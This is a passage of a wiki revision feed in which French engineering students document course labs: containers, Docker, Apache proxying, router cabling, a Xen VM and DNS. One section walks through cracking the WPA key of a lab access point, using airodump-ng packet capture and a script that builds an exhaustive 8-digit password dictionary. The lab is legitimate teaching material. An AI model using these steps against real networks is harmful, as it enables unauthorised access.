   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
===Service internet===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Serveur DNS====&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.pw dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			2	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {213.167.229.2;217.70.187.25;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
====Serveur Apache====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/www.hercule.space/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 A COMPLETER POUR LE CERTIFICAT&lt;br /&gt;
         &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 ServerName &amp;quot;www.hercule.space&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48531</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48531"/>
				<updated>2018-12-10T17:59:13Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Crackage de clé WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
===Service internet===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Serveur DNS====&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.pw dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			2	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {213.167.229.2;217.70.187.25;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
====Serveur Apache====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/www.hercule.space/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 A COMPLETER POUR LE CERTIFICAT&lt;br /&gt;
         &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 ServerName &amp;quot;www.hercule.space&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
